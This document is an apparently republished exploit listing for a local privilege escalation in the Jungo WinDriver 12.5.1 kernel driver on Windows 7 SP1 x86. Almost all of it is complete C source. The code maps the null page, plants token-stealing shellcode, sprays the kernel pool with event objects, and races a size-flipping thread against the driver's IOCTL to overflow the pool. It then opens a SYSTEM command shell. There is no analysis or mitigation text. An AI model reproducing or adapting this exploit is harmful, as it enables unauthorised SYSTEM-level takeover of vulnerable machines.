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Jungo Windriver 12.5.1 - Privilege Escalation
来源:Fidus InfoSecurity 作者:Fidus 发布时间:2018-01-11  

// ConsoleApplication1.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <Windows.h>
#include <winioctl.h>

#define device L"\\\\.\\WINDRVR1251"
#define SPRAY_SIZE 30000

typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG ZeroBits,
    PULONG AllocationSize,
    ULONG AllocationType,
    ULONG Protect
    );

// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET    0x124    // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET   0x050    // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET        0x0B4    // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET      0x0B8    // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET      0x0F8    // nt!_EPROCESS.Token
#define SYSTEM_PID        0x004    // SYSTEM Process PID
/*
* The caller expects to call a cdecl function with 4 (0x10 bytes) arguments.
*/
__declspec(naked) VOID TokenStealingShellcode() {
    __asm {
       hasRun:
             xor eax, eax; Set zero
             cmp byte ptr [eax], 1; If this is 1, we have already run this code
             jz End;
             mov byte ptr [eax], 1; Indicate that this code has been hit already

            ; initialize
            mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
            mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

            mov ecx, eax; Copy current _EPROCESS structure

            mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
            mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4

            ; begin system token search loop
            SearchSystemPID :
        mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID

            mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
            mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM to current process

            End :
        ret 0x10; cleanup for cdecl

    }
}

BOOL map_null_page()
{
    /* Begin NULL page map */
    HMODULE hmodule = LoadLibraryA("ntdll.dll");
    if (hmodule == INVALID_HANDLE_VALUE)
    {
        printf("[x] Couldn't get handle to ntdll.dll\n");
        return FALSE;
    }
    PNtAllocateVirtualMemory AllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hmodule, "NtAllocateVirtualMemory");
    if (AllocateVirtualMemory == NULL)
    {
        printf("[x] Couldn't get address of NtAllocateVirtualMemory\n");
        return FALSE;
    }

    SIZE_T size = 0x1000;
    PVOID address = (PVOID)0x1;
    NTSTATUS allocStatus = AllocateVirtualMemory(GetCurrentProcess(),
        &address,
        0,
        &size,
        MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
        PAGE_EXECUTE_READWRITE);

    if (allocStatus != 0)
    {
        printf("[x] Error mapping null page\n");
        return FALSE;
    }
   
    printf("[+] Mapped null page\n");
    return TRUE;
}

/*
* Continually flip the size
* @Param user_size - a pointer to the user defined size
*/
DWORD WINAPI flip_thread(LPVOID user_size)
{
    printf("[+] Flipping thread started\n");
    while (TRUE)
    {
        *(ULONG *)(user_size) ^= 10; //flip between 0x52 and 0x58, giving a 0x40 byte overflow.
    }
    return 0;
}

DWORD WINAPI ioctl_thread(LPVOID user_buff)
{
    char out_buff[40];
    DWORD bytes_returned;
   
    HANDLE hdevice = CreateFile(device,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        0
    );

   
    if (hdevice == INVALID_HANDLE_VALUE)
    {
        printf("[x] Couldn't open device\n");
    }

    NTSTATUS ret = DeviceIoControl(hdevice,
        0x95382623,
        user_buff,
        0x1000,
        out_buff,
        40,
        &bytes_returned,
        0);
   
    CloseHandle(hdevice);
    return 0;
}

void spray_pool(HANDLE handle_arr[])
{
    //create SPRAY_SIZE event objects filling up the pool
    for (int i = 0; i < SPRAY_SIZE; i++)
    {
        handle_arr[i] = CreateEvent(NULL, 0, NULL, L"");
    }

    for (int i = 0; i < SPRAY_SIZE; i+=50)
    {
        for (int j = 0; j < 14 && j + i < SPRAY_SIZE; j++)
        {
            CloseHandle(handle_arr[j + i]);
            handle_arr[j + i] = 0;
        }
    }
}

void free_events(HANDLE handle_arr[])
{
    for (int i = 0; i < SPRAY_SIZE; i++)
    {
        if (handle_arr[i] != 0)
        {
            CloseHandle(handle_arr[i]);
        }
    }
}

BOOL check_priv_count(DWORD old_count, PDWORD updated_count)
{
    HANDLE htoken;
    DWORD length;
    DWORD temp;
    DWORD new_count;
    PTOKEN_PRIVILEGES current_priv = NULL;

    if (!OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &htoken))
    {
        printf("[x] Couldn't get current token\n");
        return FALSE;
    }

    //get the size required for the current_priv allocation
    GetTokenInformation(htoken, TokenPrivileges, current_priv, 0, &length);

    //allocate memory for the structure
    current_priv = (PTOKEN_PRIVILEGES)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, length);

    //get the actual token info
    GetTokenInformation(htoken, TokenPrivileges, current_priv, length, &length);
    new_count = current_priv->PrivilegeCount;

    HeapFree(GetProcessHeap(), 0, current_priv);
    CloseHandle(htoken);

    temp = old_count;       //store the old count
    *updated_count = new_count; //update the count
    if (new_count > old_count)
    {
        printf("[+] We now have %d privileges\n", new_count);
        return TRUE;
    }
    else
        return FALSE;
}

int main()
{
    HANDLE h_flip_thread;
    HANDLE h_ioctl_thread;
    HANDLE handle_arr[SPRAY_SIZE] = { 0 };
    DWORD mask = 0;
    DWORD orig_priv_count = 0;
    char *user_buff;
   
    check_priv_count(-1, &orig_priv_count);
    printf("[+] Original priv count: %d\n", orig_priv_count);

    if (!map_null_page())
    {
        return -1;
    }

    *(ULONG *)0x74 = (ULONG)&TokenStealingShellcode;

    user_buff = (char *)VirtualAlloc(NULL,
        0x1000,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_NOCACHE | PAGE_READWRITE);

    if (user_buff == NULL)
    {
        printf("[x] Couldn't allocate memory for buffer\n");
        return -1;
    }
    memset(user_buff, 0x41, 0x1000);

    *(ULONG *)(user_buff + 0x34) = 0x00000052; //set the size initially to 0x51

    //pool header block
    *(ULONG *)(user_buff + 0x374) = 0x04080070; //ULONG1
    *(ULONG *)(user_buff + 0x378) = 0xee657645;//PoolTag

    //QuotaInfo block
    *(ULONG *)(user_buff + 0x37c) = 0x00000000; //PagedPoolCharge
    *(ULONG *)(user_buff + 0x380) = 0x00000040; //NonPagedPoolCharge
    *(ULONG *)(user_buff + 0x384) = 0x00000000; //SecurityDescriptorCharge
    *(ULONG *)(user_buff + 0x388) = 0x00000000; //SecurityDescriptorQuotaBlock

    //Event header block
    *(ULONG *)(user_buff + 0x38c) = 0x00000001; //PointerCount
    *(ULONG *)(user_buff + 0x390) = 0x00000001; //HandleCount
    *(ULONG *)(user_buff + 0x394) = 0x00000000; //NextToFree
    *(ULONG *)(user_buff + 0x398) = 0x00080000; //TypeIndex <--- NULL POINTER
    *(ULONG *)(user_buff + 0x39c) = 0x867b3940; //objecteCreateInfo
    *(ULONG *)(user_buff + 0x400) = 0x00000000;
    *(ULONG *)(user_buff + 0x404) = 0x867b3940; //QuotaBlockCharged

 

    /*
    * create a suspended thread for flipping, passing in a pointer to the size at user_buff+0x34
    * Set its priority to highest.
    * Set its mask so that it runs on a particular core.
    */
    h_flip_thread = CreateThread(NULL, 0, flip_thread, user_buff + 0x34, CREATE_SUSPENDED, 0);
    SetThreadPriority(h_flip_thread, THREAD_PRIORITY_HIGHEST);
    SetThreadAffinityMask(h_flip_thread, 0);
    ResumeThread(h_flip_thread);
    printf("[+] Starting race...\n");

    spray_pool(handle_arr);

    while (TRUE)
    {
        h_ioctl_thread = CreateThread(NULL, 0, ioctl_thread, user_buff, CREATE_SUSPENDED, 0);
        SetThreadPriority(h_ioctl_thread, THREAD_PRIORITY_HIGHEST);
        SetThreadAffinityMask(h_ioctl_thread, 1);
       
        ResumeThread(h_ioctl_thread);
       
        WaitForSingleObject(h_ioctl_thread, INFINITE);

        free_events(handle_arr); //free the event objects

        if (check_priv_count(orig_priv_count, &orig_priv_count))
        {
            printf("[+] Breaking out of loop, popping shell!\n");
            break;
        }
        //pool header block
        *(ULONG *)(user_buff + 0x374) = 0x04080070; //ULONG1
        *(ULONG *)(user_buff + 0x378) = 0xee657645;//PoolTag

                                                   //QuotaInfo block
        *(ULONG *)(user_buff + 0x37c) = 0x00000000; //PagedPoolCharge
        *(ULONG *)(user_buff + 0x380) = 0x00000040; //NonPagedPoolCharge
        *(ULONG *)(user_buff + 0x384) = 0x00000000; //SecurityDescriptorCharge
        *(ULONG *)(user_buff + 0x388) = 0x00000000; //SecurityDescriptorQuotaBlock

                                                    //Event header block
        *(ULONG *)(user_buff + 0x38c) = 0x00000001; //PointerCount
        *(ULONG *)(user_buff + 0x390) = 0x00000001; //HandleCount
        *(ULONG *)(user_buff + 0x394) = 0x00000000; //NextToFree
        *(ULONG *)(user_buff + 0x398) = 0x00080000; //TypeIndex <--- NULL POINTER
        *(ULONG *)(user_buff + 0x39c) = 0x867b3940; //objecteCreateInfo
        *(ULONG *)(user_buff + 0x400) = 0x00000000;
        *(ULONG *)(user_buff + 0x404) = 0x867b3940; //QuotaBlockCharged

       
        spray_pool(handle_arr);
    }

    system("cmd.exe");

    return 0;
}


 
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